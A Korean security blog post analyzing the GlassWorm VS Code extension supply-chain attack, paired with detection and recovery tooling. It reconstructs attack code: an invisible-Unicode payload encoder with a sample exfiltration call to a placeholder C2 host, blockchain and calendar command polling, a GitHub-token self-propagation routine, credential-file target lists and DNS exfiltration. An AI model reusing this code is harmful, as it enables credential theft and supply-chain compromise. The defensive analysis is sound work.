Skip to content
Published on

GlassWorm 공급망 공격 분석: VS Code 확장의 보이지 않는 위협과 개발 환경 보안 전략

Authors
  • Name
    Twitter

GlassWorm VS Code Supply Chain Attack

들어가며

2026년 3월, 보안 커뮤니티를 뒤흔든 사건이 발생했다. GlassWorm이라 명명된 악성코드가 72개 이상의 Open VSX 확장을 감염시키고, 151개의 GitHub 저장소에 자가 전파하며 개발자 인증정보를 대규모로 탈취한 것이다(The Hacker News, March 2026). 기존의 공급망 공격들이 난독화(obfuscation)나 타이포스쿼팅(typosquatting)에 의존했다면, GlassWorm은 **유니코드 변이 선택자(Unicode Variation Selectors)**와 PUA(Private Use Area) 문자를 활용하여 악성 코드를 문자 그대로 "보이지 않게" 만드는 전례 없는 기법을 선보였다.

더불어 C2(Command and Control) 채널로 Solana 블록체인Google Calendar를 활용하는 이중 채널 전략은, 기존 네트워크 기반 탐지 시스템을 효과적으로 우회하는 새로운 공격 패러다임을 제시했다. SecurityWeek의 분석에 따르면, 이 공격은 "VS Code 확장 생태계의 보안 모델이 근본적으로 재설계되어야 함을 보여주는 전환점"이라고 평가되었다.

이 글에서는 GlassWorm 공격의 기술적 메커니즘을 코드 레벨에서 분석하고, 탐지 및 방어 전략을 실전 코드와 함께 제시하며, 조직 차원에서 개발 환경 보안을 강화하기 위한 종합 전략을 다룬다.


GlassWorm 공격 타임라인

GlassWorm 공격은 단일 이벤트가 아니라 수개월에 걸쳐 정교하게 준비된 캠페인이다. Veracode의 분석 보고서를 기반으로 공격 타임라인을 재구성한다.

시점이벤트영향 범위
2025년 11월공격자가 Open VSX에 정상 확장 프로그램 등록 시작초기 신뢰 구축
2025년 12월유니코드 은닉 기법이 적용된 첫 악성 업데이트 배포12개 확장 감염
2026년 1월Solana C2 채널 활성화, 인증정보 수집 시작30개 확장, 수천 명 영향
2026년 2월자가 전파 메커니즘 활성화, GitHub 저장소 감염72개 확장, 151개 저장소
2026년 3월 초보안 연구원이 비정상 트래픽 패턴 감지, 최초 보고커뮤니티 경보 발령
2026년 3월 중순Open VSX 긴급 감사, 감염 확장 일괄 삭제복구 작업 진행 중

공격 규모 요약

  • 감염 확장 수: 72개 이상 (Open VSX 마켓플레이스)
  • 감염 GitHub 저장소: 151개 이상
  • 영향받은 개발자 수: 추정 약 50,000명 이상 (다운로드 통계 기반)
  • 탈취된 인증정보 유형: GitHub Token, SSH 키, AWS/GCP 자격 증명, npm 토큰
  • SOCKS 프록시 노드: 감염 시스템 중 약 2,000개가 프록시 네트워크에 편입

기술적 분석: 유니코드 기반 코드 은닉

GlassWorm의 가장 혁신적인(그리고 위험한) 측면은 유니코드 문자를 이용한 코드 은닉 기법이다. DarkReading의 보도에 따르면, 이 기법은 기존의 어떤 난독화 기법보다 탐지가 어렵다.

유니코드 변이 선택자(Variation Selectors)란

유니코드 변이 선택자는 U+FE00부터 U+FE0F까지의 16개 문자와, U+E0100부터 U+E01EF까지의 240개 보충 변이 선택자로 구성된다. 이 문자들은 앞에 오는 기본 문자의 표현 형태를 지정하지만, 단독으로는 화면에 전혀 표시되지 않는다.

// 유니코드 변이 선택자의 기본 원리
// U+FE00 ~ U+FE0F: Variation Selectors (16개)
// U+E0100 ~ U+E01EF: Supplementary Variation Selectors (240개)

// 예시: 동일한 한자의 다른 표현
const char1 = '\u8FD1\uFE00' // 近 + VS1 (일본식)
const char2 = '\u8FD1\uFE01' // 近 + VS2 (중국식)

// 두 문자는 시각적으로 다를 수 있지만,
// VS 자체는 렌더링되지 않는 제로 폭 문자
console.log('\uFE00'.length) // 1 (문자는 존재하지만 보이지 않음)

GlassWorm의 은닉 인코딩 메커니즘

GlassWorm은 악성 JavaScript 페이로드를 유니코드 변이 선택자와 PUA 문자의 조합으로 인코딩한다. 핵심 원리는 다음과 같다.

// GlassWorm 인코딩 방식 재현 (보안 연구 목적)
// 원본 악성 코드의 각 바이트를 비가시 유니코드 문자로 변환

function encodeToInvisible(payload) {
  const encoded = []
  for (let i = 0; i < payload.length; i++) {
    const byte = payload.charCodeAt(i)
    // 상위 4비트 -> Variation Selector (U+FE00 + nibble)
    const highNibble = (byte >> 4) & 0x0f
    encoded.push(String.fromCharCode(0xfe00 + highNibble))
    // 하위 4비트 -> PUA 문자 (U+E0100 + nibble)
    const lowNibble = byte & 0x0f
    // 보충 문자는 서로게이트 페어로 인코딩
    encoded.push(String.fromCodePoint(0xe0100 + lowNibble))
  }
  return encoded.join('')
}

function decodeFromInvisible(invisible) {
  const decoded = []
  let i = 0
  while (i < invisible.length) {
    const highChar = invisible.codePointAt(i)
    i += highChar > 0xffff ? 2 : 1
    const lowChar = invisible.codePointAt(i)
    i += lowChar > 0xffff ? 2 : 1
    const highNibble = (highChar - 0xfe00) & 0x0f
    const lowNibble = (lowChar - 0xe0100) & 0x0f
    decoded.push(String.fromCharCode((highNibble << 4) | lowNibble))
  }
  return decoded.join('')
}

// 사용 예시
const maliciousCode = 'fetch("https://c2.example.com/exfil",{method:"POST"})'
const invisible = encodeToInvisible(maliciousCode)
console.log(invisible.length) // 길이가 있지만...
console.log(invisible.trim()) // 화면에는 아무것도 보이지 않음

실제 감염 파일의 구조

감염된 VS Code 확장의 extension.js 파일은 겉보기에 완전히 정상적으로 보인다. Snyk의 분석에 따르면, 코드 리뷰에서도 악성 코드를 발견하기 극히 어렵다.

// 감염된 extension.js의 구조 (단순화)
const vscode = require('vscode')

function activate(context) {
  // 정상적인 확장 기능 코드
  let disposable = vscode.commands.registerCommand('myext.helloWorld', function () {
    vscode.window.showInformationMessage('Hello World!')
  })
  context.subscriptions.push(disposable)

  // 아래 빈 줄들 사이에 보이지 않는 유니코드 문자로
  // 인코딩된 악성 페이로드가 숨겨져 있음
  // (에디터에서는 빈 공간으로 보임)
  const _ = '\u200B' // ZWS 앵커 문자 뒤에 수백 개의 VS/PUA 문자열

  // 디코더: 정상적인 유틸리티 함수로 위장
  function normalizeText(input) {
    // 실제로는 은닉된 페이로드를 디코딩하여 실행
    const chars = Array.from(input)
    const filtered = chars.filter((c) => c.codePointAt(0) >= 0xfe00)
    // ... 디코딩 및 eval 실행
  }
}

function deactivate() {}

module.exports = { activate, deactivate }

왜 기존 도구로 탐지가 어려운가

GlassWorm의 유니코드 은닉 기법이 기존 보안 도구를 우회하는 이유를 코드로 확인할 수 있다.

# 기존 정적 분석 도구의 한계 시연
import re

# 일반적인 악성 코드 탐지 패턴
suspicious_patterns = [
    r'eval\s*\(',
    r'Function\s*\(',
    r'require\s*\(\s*["\']child_process["\']\s*\)',
    r'exec\s*\(',
    r'fetch\s*\(\s*["\']https?://',
]

# 감염된 파일 내용 (유니코드 은닉 적용)
infected_content = '''
const vscode = require('vscode');
function activate(context) {
  let disposable = vscode.commands.registerCommand('myext.hello', function() {
    vscode.window.showInformationMessage('Hello!');
  });
  context.subscriptions.push(disposable);
}
module.exports = { activate };
'''
# 주의: 실제 감염 파일에는 위 코드 사이사이에
# 수백 개의 비가시 유니코드 문자가 삽입되어 있음

for pattern in suspicious_patterns:
    match = re.search(pattern, infected_content)
    print(f"Pattern '{pattern}': {'DETECTED' if match else 'CLEAN'}")
    # 모든 패턴에서 CLEAN으로 판정됨
    # 악성 코드가 유니코드로 인코딩되어 있어 정규식에 걸리지 않음

C2 채널: 블록체인과 클라우드 서비스 악용

GlassWorm의 두 번째 혁신은 C2(Command and Control) 채널의 설계에 있다. 전통적인 도메인 기반 C2가 아닌, 블록체인합법적 클라우드 서비스를 이중 채널로 활용한다.

Solana 블록체인 C2

Fluid Attacks의 기술 블로그에 따르면, GlassWorm은 Solana 블록체인의 트랜잭션 메모(memo) 필드에 C2 명령을 인코딩하여 전달한다.

// Solana 블록체인 C2 채널 메커니즘 (분석용 재현)
// 공격자는 Solana 트랜잭션의 memo 필드에 명령을 인코딩

// 1단계: 공격자가 Solana에 명령 트랜잭션 발행
// memo 필드: base64 인코딩된 JSON 명령
// 예: eyJjbWQiOiJleGZpbCIsInRhcmdldCI6Ii5zc2gifQ==
// 디코딩: {"cmd":"exfil","target":".ssh"}

// 2단계: 감염된 확장이 Solana RPC로 트랜잭션 조회
async function fetchC2Commands(walletAddress) {
  const response = await fetch('https://api.mainnet-beta.solana.com', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
      jsonrpc: '2.0',
      id: 1,
      method: 'getSignaturesForAddress',
      params: [walletAddress, { limit: 10 }],
    }),
  })

  const data = await response.json()
  // 트랜잭션에서 memo 필드 추출 후 디코딩
  return data.result.map((tx) => decodeCommand(tx.memo))
}

// 3단계: 명령 실행
function executeCommand(cmd) {
  switch (cmd.type) {
    case 'exfil':
      // 인증정보 수집 및 전송
      exfiltrateCredentials(cmd.target)
      break
    case 'proxy':
      // SOCKS 프록시 활성화
      startSocksProxy(cmd.port)
      break
    case 'spread':
      // 자가 전파 실행
      propagateToRepos(cmd.scope)
      break
  }
}

왜 블록체인 C2가 위험한가

특성전통적 C2 (도메인 기반)블록체인 C2 (Solana)
테이크다운도메인 압수/차단 가능불가능 (탈중앙화)
트래픽 분류의심스러운 도메인으로 탐지정상 블록체인 API 트래픽
가용성단일 장애점 존재99.99% 가용성
익명성WHOIS 추적 가능지갑 주소만 노출
비용서버 운영 비용트랜잭션당 약 0.00025 SOL
차단 난이도방화벽 규칙으로 차단모든 Solana RPC 차단 필요
로그 잔존서버 로그 삭제 가능블록체인에 영구 기록

Google Calendar C2 백업 채널

블록체인 접근이 차단될 경우를 대비한 백업 C2 채널로 Google Calendar API를 활용한다.

// Google Calendar C2 백업 채널 메커니즘
// 공격자가 공유 캘린더의 이벤트 설명에 명령을 삽입

async function fetchCalendarCommands(calendarId, apiKey) {
  const now = new Date().toISOString()
  const url =
    `https://www.googleapis.com/calendar/v3/calendars/` +
    `${encodeURIComponent(calendarId)}/events` +
    `?key=${apiKey}` +
    `&timeMin=${now}` +
    `&maxResults=5` +
    `&orderBy=startTime` +
    `&singleEvents=true`

  const response = await fetch(url)
  const data = await response.json()

  return data.items
    .filter((event) => event.description)
    .map((event) => {
      // 이벤트 설명에서 base64 인코딩된 명령 추출
      const match = event.description.match(/\[config:([A-Za-z0-9+/=]+)\]/)
      if (match) {
        return JSON.parse(atob(match[1]))
      }
      return null
    })
    .filter(Boolean)
}

이 방식의 교묘함은 Google Calendar API 트래픽이 대부분의 기업 네트워크에서 **허용 목록(allowlist)**에 포함되어 있다는 점이다. 방화벽이나 프록시에서 googleapis.com으로의 트래픽을 차단하면 정상적인 Google Workspace 사용에도 영향을 미치기 때문에, 보안팀이 쉽게 차단하기 어렵다.


자가 전파 메커니즘

Veracode의 보고서에서 "최초의 자가 전파 VS Code 확장 웜"이라고 명명한 GlassWorm의 전파 메커니즘을 분석한다.

GitHub 저장소 감염 흐름

[감염된 개발자 환경]
        |
        v
[1. GitHub Token 탈취]
        |
        v
[2. 개발자의 저장소 목록 조회]
        |
        v
[3. 각 저장소의 package.json / .vscode/extensions.json 수정]
        |
        v
[4. 악성 확장 의존성 추가 커밋]
        |
        v
[5. 다른 개발자가 저장소 클론 시 감염 확장 자동 설치 권유]
        |
        v
[6. 새로운 개발자 환경 감염 -> 1단계로 반복]

전파 코드 분석

// 자가 전파 메커니즘 (분석용 단순화)
async function propagate(githubToken) {
  const headers = {
    Authorization: `token ${githubToken}`,
    Accept: 'application/vnd.github.v3+json',
  }

  // 1. 사용자의 모든 저장소 조회
  const repos = await fetch('https://api.github.com/user/repos?per_page=100', {
    headers,
  }).then((r) => r.json())

  for (const repo of repos) {
    // 2. .vscode/extensions.json 확인 또는 생성
    try {
      const extensionsFile = await fetch(
        `https://api.github.com/repos/${repo.full_name}/contents/.vscode/extensions.json`,
        { headers }
      ).then((r) => r.json())

      const content = JSON.parse(Buffer.from(extensionsFile.content, 'base64').toString())

      // 3. 악성 확장이 이미 포함되어 있는지 확인
      const maliciousExtId = 'publisher.innocent-looking-extension'
      if (content.recommendations && !content.recommendations.includes(maliciousExtId)) {
        content.recommendations.push(maliciousExtId)

        // 4. 수정된 파일 커밋
        await fetch(
          `https://api.github.com/repos/${repo.full_name}/contents/.vscode/extensions.json`,
          {
            method: 'PUT',
            headers,
            body: JSON.stringify({
              message: 'chore: update recommended extensions',
              content: Buffer.from(JSON.stringify(content, null, 2)).toString('base64'),
              sha: extensionsFile.sha,
            }),
          }
        )
      }
    } catch (e) {
      // 파일이 없으면 새로 생성
      // ...
    }
  }
}

전파 속도와 범위

DarkReading의 보도에 따르면, GlassWorm의 자가 전파는 기하급수적 성장 패턴을 보였다.

  • 1주차: 12개 확장 -> 약 500명 감염
  • 2주차: 30개 확장 -> 약 5,000명 감염
  • 3주차: 50개 확장 -> 약 20,000명 감염
  • 4주차: 72개 확장 -> 약 50,000명 이상 감염

각 감염된 개발자가 평균 3~5개의 저장소를 보유하고 있어, 저장소 감염은 더 빠르게 진행되었다. 특히 오픈소스 프로젝트의 경우 다수의 기여자가 저장소를 클론하기 때문에 감염 속도가 폐쇄형 저장소보다 약 4배 빠른 것으로 분석되었다.


VS Code 확장 마켓플레이스 보안 모델의 한계

현재 보안 모델의 구조적 문제

VS Code 확장 마켓플레이스(Visual Studio Marketplace 및 Open VSX)의 보안 모델은 다음과 같은 구조적 한계를 지닌다.

보안 측면현재 상태문제점
게시자 검증이메일 인증만 필요신원 확인 없음, 누구나 게시 가능
코드 리뷰자동화된 정적 분석 미비유니코드 은닉 등 새로운 기법 탐지 불가
권한 모델설치 시 모든 권한 부여최소 권한 원칙 미적용
업데이트 검증자동 업데이트, 추가 검증 없음정상 확장의 악성 업데이트 차단 불가
서명 체계선택적 서명강제 서명 없어 무결성 보장 불가
SBOM미제공확장의 의존성 투명성 부족

npm 생태계와의 비교

# npm은 2022년부터 mandatory 2FA와 provenance attestation 도입
# VS Code 마켓플레이스는 아직 이에 준하는 보안 체계 미비

# npm provenance 확인 예시
npm audit signatures
# 출력: audited 150 packages in 2s
# 150 packages have verified registry signatures

# VS Code 확장에는 이에 해당하는 명령이 없음
# 확장의 무결성을 검증할 수 있는 공식 도구가 부재

권한 모델의 부재

VS Code 확장은 설치 순간 호스트 시스템에 대한 광범위한 접근 권한을 얻는다. 브라우저 확장이 permissions 매니페스트를 통해 권한을 선언하고 사용자 동의를 받는 것과 대조적이다.

// 브라우저 확장의 권한 선언 (Chrome Extension Manifest V3)
{
  "permissions": ["activeTab", "storage"],
  "host_permissions": ["https://api.example.com/*"]
}

// VS Code 확장에는 이런 세분화된 권한 모델이 없음
// package.json의 "activationEvents"는 기능적 트리거일 뿐

// 보안 경계(security boundary)를 형성하지 않음

탐지 및 방어 전략

1. 유니코드 이상 탐지 스크립트

GlassWorm의 핵심인 유니코드 은닉을 탐지하기 위한 스크립트를 작성할 수 있다.

#!/usr/bin/env python3
"""
GlassWorm 유니코드 은닉 탐지 스크립트
비가시 유니코드 문자의 비정상적 집중을 탐지한다.
"""
import os
import sys
from pathlib import Path
from collections import Counter

# 의심스러운 유니코드 범위
SUSPICIOUS_RANGES = [
    (0xFE00, 0xFE0F, "Variation Selectors"),
    (0xE0100, 0xE01EF, "Supplementary Variation Selectors"),
    (0xE000, 0xF8FF, "Private Use Area"),
    (0xF0000, 0xFFFFF, "Supplementary PUA-A"),
    (0x100000, 0x10FFFD, "Supplementary PUA-B"),
    (0x200B, 0x200F, "Zero-Width Characters"),
    (0x2028, 0x202F, "General Punctuation (invisible)"),
    (0x2060, 0x206F, "Invisible Formatting"),
    (0xFEFF, 0xFEFF, "BOM / Zero-Width No-Break Space"),
]

def scan_file(filepath):
    """파일에서 의심스러운 유니코드 문자를 스캔한다."""
    findings = []
    try:
        with open(filepath, 'r', encoding='utf-8') as f:
            content = f.read()
    except (UnicodeDecodeError, PermissionError):
        return findings

    suspicious_count = Counter()
    line_findings = {}

    for line_num, line in enumerate(content.split('\n'), 1):
        for char in line:
            cp = ord(char)
            for start, end, name in SUSPICIOUS_RANGES:
                if start <= cp <= end:
                    suspicious_count[name] += 1
                    if line_num not in line_findings:
                        line_findings[line_num] = []
                    line_findings[line_num].append(
                        f"U+{cp:04X} ({name})"
                    )

    # 임계값: 파일 크기 대비 비가시 문자 비율
    total_suspicious = sum(suspicious_count.values())
    if total_suspicious > 10:  # 기본 임계값
        ratio = total_suspicious / max(len(content), 1)
        severity = "CRITICAL" if ratio > 0.01 else "WARNING"
        findings.append({
            'file': str(filepath),
            'severity': severity,
            'total_suspicious': total_suspicious,
            'ratio': f"{ratio:.4%}",
            'breakdown': dict(suspicious_count),
            'affected_lines': dict(
                list(line_findings.items())[:10]
            ),
        })

    return findings

def scan_directory(directory, extensions=None):
    """디렉토리를 재귀적으로 스캔한다."""
    if extensions is None:
        extensions = {'.js', '.ts', '.json', '.mjs', '.cjs'}

    all_findings = []
    path = Path(directory)

    for filepath in path.rglob('*'):
        if filepath.suffix in extensions and filepath.is_file():
            findings = scan_file(filepath)
            all_findings.extend(findings)

    return all_findings

if __name__ == '__main__':
    target = sys.argv[1] if len(sys.argv) > 1 else '.'
    findings = scan_directory(target)

    if findings:
        print(f"\n[ALERT] {len(findings)} suspicious file(s) found:\n")
        for f in findings:
            print(f"  [{f['severity']}] {f['file']}")
            print(f"    Suspicious chars: {f['total_suspicious']}")
            print(f"    Ratio: {f['ratio']}")
            print(f"    Breakdown: {f['breakdown']}")
            print()
    else:
        print("[OK] No suspicious Unicode patterns detected.")

2. Git pre-commit 훅으로 자동 검사

#!/bin/bash
# .git/hooks/pre-commit
# 커밋 전 유니코드 은닉 문자 자동 검사

echo "Scanning for suspicious Unicode characters..."

# 스테이징된 파일 목록
FILES=$(git diff --cached --name-only --diff-filter=ACM | grep -E '\.(js|ts|json|mjs|cjs)$')

if [ -z "$FILES" ]; then
  exit 0
fi

FOUND=0

for FILE in $FILES; do
  # Variation Selectors 검사 (U+FE00-FE0F)
  if perl -ne 'print if /[\x{FE00}-\x{FE0F}\x{E0100}-\x{E01EF}]/' "$FILE" | grep -q .; then
    echo "[BLOCKED] Suspicious Variation Selectors found in: $FILE"
    FOUND=1
  fi

  # PUA 문자 검사 (U+E000-F8FF)
  if perl -ne 'print if /[\x{E000}-\x{F8FF}]/' "$FILE" | grep -q .; then
    echo "[WARNING] Private Use Area characters found in: $FILE"
    # PUA는 일부 정상 사용이 있으므로 경고만
  fi

  # Zero-width 문자 과다 사용 검사
  ZW_COUNT=$(perl -ne 'print while /[\x{200B}-\x{200F}\x{2060}-\x{206F}\x{FEFF}]/g' "$FILE" | wc -c)
  if [ "$ZW_COUNT" -gt 20 ]; then
    echo "[BLOCKED] Excessive zero-width characters ($ZW_COUNT) in: $FILE"
    FOUND=1
  fi
done

if [ "$FOUND" -eq 1 ]; then
  echo ""
  echo "Commit blocked: Suspicious Unicode patterns detected."
  echo "If these are intentional, use --no-verify to bypass."
  exit 1
fi

echo "Unicode scan passed."
exit 0

3. VS Code 설정 기반 방어

// .vscode/settings.json - 팀 차원의 보안 설정
{
  // 확장 자동 업데이트 비활성화
  "extensions.autoUpdate": false,

  // 확장 설치 시 확인 요구
  "extensions.autoCheckUpdates": true,

  // 비가시 유니코드 문자 시각화
  "editor.unicodeHighlight.ambiguousCharacters": true,
  "editor.unicodeHighlight.invisibleCharacters": true,
  "editor.unicodeHighlight.nonBasicASCII": true,

  // 유니코드 문자 허용 범위 제한
  "editor.unicodeHighlight.allowedLocales": {
    "ko": true,
    "ja": true
  },

  // 터미널에서의 유니코드 경고
  "terminal.integrated.unicodeVersion": "11",

  // 워크스페이스 신뢰 설정
  "security.workspace.trust.enabled": true,
  "security.workspace.trust.startupPrompt": "always",
  "security.workspace.trust.untrustedFiles": "prompt"
}

4. CI/CD 파이프라인 통합 검사

# .github/workflows/unicode-security-scan.yml
name: Unicode Security Scan

on:
  pull_request:
    paths:
      - '**.js'
      - '**.ts'
      - '**.json'
      - '**.mjs'
  push:
    branches: [main, develop]

jobs:
  unicode-scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Install scanner dependencies
        run: pip install unicode-security-scanner

      - name: Scan for invisible Unicode characters
        run: |
          python scripts/unicode_scanner.py . \
            --extensions .js,.ts,.json,.mjs,.cjs \
            --threshold 10 \
            --severity critical \
            --output report.json

      - name: Check scan results
        run: |
          if [ -f report.json ]; then
            CRITICAL=$(python -c "
          import json
          with open('report.json') as f:
              data = json.load(f)
          print(sum(1 for r in data if r['severity'] == 'CRITICAL'))
          ")
            if [ "$CRITICAL" -gt 0 ]; then
              echo "CRITICAL: Found $CRITICAL files with suspicious Unicode"
              exit 1
            fi
          fi

      - name: Upload scan report
        if: always()
        uses: actions/upload-artifact@v4
        with:
          name: unicode-scan-report
          path: report.json

VS Code 확장 보안 검증 도구 비교

다양한 VS Code 확장 보안 도구를 비교하여 조직에 적합한 도구를 선택할 수 있도록 한다.

도구유형유니코드 탐지행위 분석CI/CD 통합실시간 모니터링라이선스
ExtensionTotal온라인 스캐너부분 지원정적 분석REST API미지원무료
Snyk CodeSAST지원정적+패턴네이티브지원상용 (무료 티어)
SemgrepSAST커스텀 룰정적 분석네이티브미지원OSS + 상용
GuardDog패키지 스캐너지원설치 스크립트CLI미지원OSS (Apache-2.0)
Socket.dev공급망 분석지원행위 분석GitHub App지원상용 (무료 티어)
커스텀 스크립트사내 도구완전 제어구현 필요구현 필요구현 필요N/A

Semgrep을 활용한 커스텀 탐지 룰

# .semgrep/glassworm-detection.yml
rules:
  - id: suspicious-unicode-variation-selectors
    patterns:
      - pattern-regex: '[\uFE00-\uFE0F]'
    message: >
      Detected Unicode Variation Selector characters that may indicate
      GlassWorm-style code obfuscation. Review this file carefully.
    severity: ERROR
    languages: [javascript, typescript]
    metadata:
      category: security
      technology: [vscode-extension]
      cwe: 'CWE-506: Embedded Malicious Code'
      references:
        - https://owasp.org/www-community/attacks/Supply_Chain_Attack

  - id: suspicious-unicode-pua
    patterns:
      - pattern-regex: '[\uE000-\uF8FF]'
    message: >
      Detected Private Use Area Unicode characters. These are rarely
      used in legitimate code and may indicate obfuscation.
    severity: WARNING
    languages: [javascript, typescript]

  - id: suspicious-eval-from-string-manipulation
    patterns:
      - pattern: |
          $FUNC = $STR.split(...).map(...).join(...)
          ...
          eval($FUNC)
    message: >
      Detected eval() called on string manipulation result.
      This pattern is commonly used to execute obfuscated code.
    severity: ERROR
    languages: [javascript, typescript]

  - id: solana-rpc-call-in-extension
    patterns:
      - pattern: |
          fetch("=~/.*solana.*mainnet.*/", ...)
    message: >
      Detected Solana blockchain RPC call. VS Code extensions
      should not normally interact with blockchain networks.
    severity: ERROR
    languages: [javascript, typescript]

  - id: credential-file-access
    patterns:
      - pattern: |
          $FS.readFileSync("=~/.*\.(ssh|aws|gcp|npmrc).*/", ...)
    message: >
      Detected access to credential files. This is a common
      exfiltration technique in supply chain attacks.
    severity: ERROR
    languages: [javascript, typescript]

인증정보 탈취 메커니즘 상세 분석

GlassWorm이 탈취하는 인증정보의 종류와 수집 경로를 상세히 분석한다.

탈취 대상 목록

// GlassWorm이 탐색하는 인증정보 경로 (분석 결과)
const TARGET_CREDENTIALS = [
  // Git 관련
  { path: '~/.gitconfig', type: 'git-config' },
  { path: '~/.git-credentials', type: 'git-credentials' },

  // SSH
  { path: '~/.ssh/id_rsa', type: 'ssh-private-key' },
  { path: '~/.ssh/id_ed25519', type: 'ssh-private-key' },
  { path: '~/.ssh/config', type: 'ssh-config' },

  // AWS
  { path: '~/.aws/credentials', type: 'aws-credentials' },
  { path: '~/.aws/config', type: 'aws-config' },

  // GCP
  {
    path: '~/.config/gcloud/application_default_credentials.json',
    type: 'gcp-credentials',
  },

  // Azure
  { path: '~/.azure/accessTokens.json', type: 'azure-tokens' },

  // npm
  { path: '~/.npmrc', type: 'npm-token' },

  // Docker
  { path: '~/.docker/config.json', type: 'docker-credentials' },

  // Kubernetes
  { path: '~/.kube/config', type: 'kubeconfig' },

  // VS Code 자체
  {
    path: '~/.vscode/extensions/*/credentials.json',
    type: 'vscode-extension-creds',
  },
]

탈취 데이터 전송 방식

// 데이터 전송은 여러 채널을 통해 분산 전송
// DNS 터널링을 통한 소량 데이터 유출
async function exfilViaDNS(data, domain) {
  const chunks = chunkData(data, 63) // DNS 라벨 최대 길이
  for (const chunk of chunks) {
    // DNS 조회를 가장한 데이터 전송
    // chunk.encoded-data.c2domain.com
    try {
      await fetch(`https://dns.google/resolve?name=${chunk}.${domain}&type=TXT`)
    } catch (e) {
      // 실패해도 조용히 무시
    }
    // 탐지 회피를 위한 랜덤 딜레이
    await sleep(Math.random() * 5000 + 1000)
  }
}

감염 여부 확인과 복구 절차

1단계: 감염 여부 확인

#!/bin/bash
# glassworm-check.sh - GlassWorm 감염 여부 확인 스크립트

echo "=== GlassWorm Infection Check ==="
echo ""

# 1. 설치된 VS Code 확장 목록 확인
echo "[1/5] Checking installed extensions..."
EXTENSIONS=$(code --list-extensions --show-versions 2>/dev/null)
if [ -z "$EXTENSIONS" ]; then
  echo "  VS Code CLI not available. Check manually."
else
  # 알려진 감염 확장 목록 (예시)
  KNOWN_MALICIOUS=(
    "fake-publisher.theme-darkplus-enhanced"
    "fake-publisher.prettier-format-plus"
    "fake-publisher.eslint-advanced"
  )
  for ext in "${KNOWN_MALICIOUS[@]}"; do
    if echo "$EXTENSIONS" | grep -qi "$ext"; then
      echo "  [CRITICAL] Known malicious extension found: $ext"
    fi
  done
  echo "  Extension check complete."
fi

# 2. 최근 변경된 확장 파일 확인
echo ""
echo "[2/5] Checking recently modified extension files..."
VSCODE_EXT_DIR="$HOME/.vscode/extensions"
if [ -d "$VSCODE_EXT_DIR" ]; then
  find "$VSCODE_EXT_DIR" -name "*.js" -mtime -7 -type f | head -20
else
  echo "  Extension directory not found at $VSCODE_EXT_DIR"
fi

# 3. 비정상 네트워크 연결 확인
echo ""
echo "[3/5] Checking suspicious network connections..."
if command -v lsof &> /dev/null; then
  lsof -i -P -n 2>/dev/null | grep -E "(solana|googleapis.*calendar)" | head -10
fi

# 4. Git 설정 변조 확인
echo ""
echo "[4/5] Checking git configuration integrity..."
if [ -f "$HOME/.git-credentials" ]; then
  echo "  [WARNING] .git-credentials file exists - verify its contents"
  stat "$HOME/.git-credentials" | grep "Modify"
fi

# 5. SSH 키 최근 접근 확인
echo ""
echo "[5/5] Checking SSH key access times..."
if [ -d "$HOME/.ssh" ]; then
  ls -la "$HOME/.ssh/" | grep -E "id_rsa|id_ed25519"
fi

echo ""
echo "=== Check Complete ==="
echo "If any CRITICAL findings, proceed to recovery steps immediately."

2단계: 긴급 복구 절차

#!/bin/bash
# glassworm-recovery.sh - 감염 시 긴급 복구 스크립트

echo "=== GlassWorm Recovery Procedure ==="
echo "[WARNING] This will revoke credentials and reinstall VS Code."
echo ""
read -p "Continue? (yes/no): " CONFIRM
if [ "$CONFIRM" != "yes" ]; then
  echo "Aborted."
  exit 0
fi

# 1. GitHub 토큰 즉시 폐기
echo "[1/6] Revoking GitHub tokens..."
echo "  -> Go to https://github.com/settings/tokens and revoke ALL tokens"
echo "  -> Enable SSO re-authorization if applicable"
echo "  Press Enter when done..."
read

# 2. SSH 키 교체
echo "[2/6] Rotating SSH keys..."
if [ -f "$HOME/.ssh/id_ed25519" ]; then
  mv "$HOME/.ssh/id_ed25519" "$HOME/.ssh/id_ed25519.compromised.bak"
  mv "$HOME/.ssh/id_ed25519.pub" "$HOME/.ssh/id_ed25519.pub.compromised.bak"
fi
ssh-keygen -t ed25519 -C "recovery-$(date +%Y%m%d)" -f "$HOME/.ssh/id_ed25519"
echo "  -> Upload new public key to GitHub/GitLab"

# 3. AWS 자격 증명 교체
echo "[3/6] Rotating AWS credentials..."
if command -v aws &> /dev/null; then
  echo "  Current identity:"
  aws sts get-caller-identity 2>/dev/null
  echo "  -> Rotate access keys via AWS IAM Console"
  echo "  -> Revoke all active sessions"
fi

# 4. VS Code 확장 정리
echo "[4/6] Cleaning VS Code extensions..."
VSCODE_EXT_DIR="$HOME/.vscode/extensions"
if [ -d "$VSCODE_EXT_DIR" ]; then
  echo "  Backing up extension list..."
  code --list-extensions > "$HOME/vscode-extensions-backup.txt" 2>/dev/null
  echo "  Removing all extensions..."
  rm -rf "$VSCODE_EXT_DIR"/*
  echo "  Reinstall trusted extensions from backup list manually."
fi

# 5. npm 토큰 교체
echo "[5/6] Revoking npm tokens..."
if [ -f "$HOME/.npmrc" ]; then
  echo "  -> Run: npm token revoke <token>"
  echo "  -> Generate new token: npm token create"
fi

# 6. Git 저장소 감사
echo "[6/6] Auditing git repositories..."
echo "  Check recent commits in all repositories for unauthorized changes:"
echo "  Look for modifications to:"
echo "    - .vscode/extensions.json"
echo "    - package.json (new dependencies)"
echo "    - .github/workflows/ (new workflows)"

echo ""
echo "=== Recovery Complete ==="
echo "NEXT STEPS:"
echo "1. Enable 2FA on all accounts if not already enabled"
echo "2. Review GitHub audit log: https://github.com/settings/security-log"
echo "3. Report incident to your security team"
echo "4. Monitor accounts for suspicious activity for 30 days"

조직 차원의 개발 환경 보안 체크리스트

즉시 적용 가능한 항목 (Quick Wins)

  • VS Code 확장 자동 업데이트 비활성화 (extensions.autoUpdate: false)
  • editor.unicodeHighlight.invisibleCharacters: true 전사 적용
  • 승인된 확장 목록(allowlist) 작성 및 관리
  • Git pre-commit 훅에 유니코드 스캔 추가
  • 개발자 계정 전체 2FA 강제 적용

단기 목표 (1~2주)

  • CI/CD 파이프라인에 유니코드 보안 스캔 단계 추가
  • VS Code 프로필 기능을 활용한 확장 관리 정책 수립
  • Semgrep 또는 유사 도구에 GlassWorm 탐지 룰 추가
  • 인증정보 저장 방식 감사 (파일 기반 -> 시크릿 매니저 전환)
  • 개발자 대상 공급망 보안 교육 실시

중기 목표 (1~3개월)

